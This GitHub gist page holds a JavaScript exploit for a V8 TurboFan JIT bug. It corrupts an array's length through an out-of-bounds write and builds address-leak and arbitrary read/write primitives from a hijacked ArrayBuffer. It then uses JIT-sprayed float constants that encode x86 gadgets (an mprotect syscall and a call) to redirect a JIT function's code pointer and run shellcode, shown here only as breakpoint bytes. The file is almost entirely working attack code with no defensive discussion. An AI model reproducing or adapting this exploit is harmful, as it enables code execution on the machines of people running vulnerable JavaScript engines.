Last active
December 7, 2019 03:26
-
-
Save fatalbit/e6db445f20f43cb7c5dd55f050f24d53 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| load("int64.js"); | |
| function gc() { | |
| for (let i = 0; i < 0x10; i++) | |
| new ArrayBuffer(0x1000000); | |
| } | |
| function opt(arg) { | |
| /* Just find a2 and corrupt the length and exit in opt */ | |
| let x = arguments.length; | |
| a1 = new Array(0x10); | |
| a1[0] = 1.1; | |
| a2 = new Array(0x10); | |
| a2[0] = 1.1; | |
| a2[1] = 1.1; | |
| /* Global variables trick up TurboFan */ | |
| /* Corrupt the length of a2*/ | |
| var computed_index = (x >> 16); | |
| computed_index *= 41; | |
| a1[computed_index] = 1.39067116156700086443e-309; | |
| return a1[computed_index]; | |
| } | |
| var a1, a2; | |
| let small = [1.1]; | |
| let large = [1.1,1.1]; | |
| large.length = 65536; | |
| large.fill(1.1); | |
| for (let j = 0; j< 100000; j++) { | |
| opt.apply(null, small); | |
| } | |
| // Trigger bug | |
| leak = Int64.from_double(opt.apply(null, large)); | |
| //console.log("Leak: "+leak); | |
| corrupted = a2; | |
| console.log("Length: "+corrupted.length); | |
| a1 = null; | |
| a2 = null; | |
| /* Move our oob array to old space before anything else */ | |
| gc(); | |
| gc(); | |
| var storage = new Array(0x100); | |
| let shellcode = [0xcc, 0xcc, 0xcc, 0xcc]; | |
| let sc_arr = new Uint8Array(shellcode.length); | |
| /* Copy to shellcode linear memory */ | |
| for (var i = 0; i < shellcode.length; ++i) { | |
| sc_arr[i] = shellcode[i]; | |
| } | |
| let jit_me = function (sc) { | |
| v = sc[0]; | |
| v += 3.73000261590230958354e+245; /* pop rax; pop rdi; push rdi; push rax; */ | |
| v += 2.92780753885961890235e+274; /* mov rdi, [rdi+0xf]; */ | |
| v += 3.00248484401132503471e+274; /* dec rdi */ | |
| v += 2.92125754256905198975e+274; /* mov esi, 0x1000*/ | |
| v += 2.92125743956247009127e+274; /* mov rdx, 7 */ | |
| v += 2.92125743963784642509e+274; /* mov eax, 10 */ | |
| v += 2.95808085482776011601e+274; /* add rdi, 20; push rdi; */ | |
| v += 2.92672488331181473056e+274; /* shr rdi, 12 */ | |
| v += 2.92671167594853633893e+274; /* shl rdi, 12 */ | |
| v += -7.72554420633782839915e+115; /* syscall; pop rdi; call rdi */ | |
| return v; | |
| } | |
| for (var i = 0; i < 0x10000; ++i) | |
| jit_me(sc_arr); | |
| /* Don't need an obj_addr_at if we store something to corrupt */ | |
| for (var i = 0; i < storage.length; ++i) { | |
| if (i % 2) { | |
| storage[i] = [new Int64("0xfeedface").to_double(), | |
| new Int64("0xdeadbeef").to_double(), jit_me]; | |
| } else { | |
| storage[i] = new ArrayBuffer(0xbabe); | |
| } | |
| } | |
| /* Move everything else */ | |
| gc(); | |
| gc(); | |
| //%DebugPrint(corrupted); | |
| //%DebugPrint(storage[0]); | |
| //%DebugPrint(storage[1]); | |
| //readline(); | |
| var backing_store_idx = null; | |
| var addr_of_idx = null; | |
| var jit_addr = null; | |
| for (var i = 0; i < corrupted.length; ++i) { | |
| if (corrupted[i] == new Int64("0xdeadbeef").to_double()) { | |
| if (corrupted[i-2] == new Int64("0xfeedface").to_double()) { | |
| console.log("Found AddrOf Idx"); | |
| /* Mark values */ | |
| corrupted[i] = new Int64("0xfeedface").to_double(); | |
| corrupted[i-2] = new Int64("0xfeedface").to_double(); | |
| addr_of_idx = i-4; | |
| } | |
| } | |
| if (backing_store_idx == null && corrupted[i] == new Int64("0xbabe").to_double()) { | |
| /* Mark array buffer*/ | |
| console.log("Found ArrayBuffer"); | |
| corrupted[i] = new Int64("0xde00").to_double(); | |
| backing_store_idx = i+1; | |
| } | |
| if (backing_store_idx != null && | |
| addr_of_idx != null ) { | |
| break; | |
| } | |
| } | |
| if (backing_store_idx == null || | |
| addr_of_idx == null) { | |
| console.log("Unreliable"); | |
| } else { | |
| var corrupted_ab = null; | |
| var addr_of_arr = null; | |
| for (var i = 0; i < storage.length; ++i) { | |
| if (i%2) { | |
| tmp = storage[i]; | |
| if (tmp[0] == new Int64("0xfeedface").to_double() && | |
| tmp[1] == new Int64("0xfeedface").to_double()) { | |
| addr_of_arr = tmp; | |
| /* We can grab the jitted function addr here already since it's already in | |
| * the array */ | |
| } | |
| } else { | |
| if (storage[i].byteLength == 0xde00) { | |
| corrupted_ab = storage[i]; | |
| } | |
| } | |
| if (corrupted_ab != null && addr_of_arr != null) | |
| break; | |
| } | |
| /* TODO: abort if unreliable */ | |
| if (corrupted_ab == null) | |
| console.log("Unreliable"); | |
| if (addr_of_arr == null) | |
| console.log("Unreliable"); | |
| let addr_of = function(obj) { | |
| addr_of_arr[3] = obj; | |
| return corrupted[addr_of_idx]; | |
| } | |
| let write64 = function(addr, val) { | |
| corrupted[backing_store_idx] = addr.to_double(); | |
| let u32a = new Uint32Array(corrupted_ab); | |
| u32a[0] = val.low; | |
| u32a[1] = val.high; | |
| } | |
| let read64 = function(addr) { | |
| corrupted[backing_store_idx] = addr.to_double(); | |
| let u32a = new Uint32Array(corrupted_ab); | |
| return new Int64(null, u32a[1], u32a[0]); | |
| } | |
| let read8 = function(addr) { | |
| corrupted[backing_store_idx] = addr.to_double(); | |
| let u8a = new Uint8Array(corrupted_ab); | |
| return u8a[0]; | |
| } | |
| let find_gadget_start = function(addr, start_bytes) { | |
| for (let offset = 0; ; offset++) { | |
| let found = true; | |
| for (var i = 0; i < start_bytes.length; ++i) { | |
| b = read8(addr.add(offset+i)); | |
| if (b != start_bytes[i]) { | |
| found = false; | |
| break; | |
| } | |
| } | |
| if (found) { | |
| return offset; | |
| } | |
| } | |
| } | |
| jit_addr = Int64.from_double(addr_of(jit_me)).sub(1); | |
| console.log("Jit Function at: "+jit_addr); | |
| console.log("Setup done. Getting control of execution"); | |
| code_addr = read64(jit_addr.add(0x30)).sub(1); | |
| console.log("Code addr: "+code_addr); | |
| to_code_offset = 0x3f; | |
| gadget_header = [0x90, 0x90, 0x58, 0x5f, 0x57, 0x50, 0xeb, 0x72]; | |
| pivot_offset = find_gadget_start(code_addr, gadget_header); | |
| new_addr = code_addr.add(pivot_offset).sub(to_code_offset); | |
| print("pivot to: "+new_addr); | |
| write64(jit_addr.add(0x30), new_addr); | |
| jit_me(sc_arr); | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment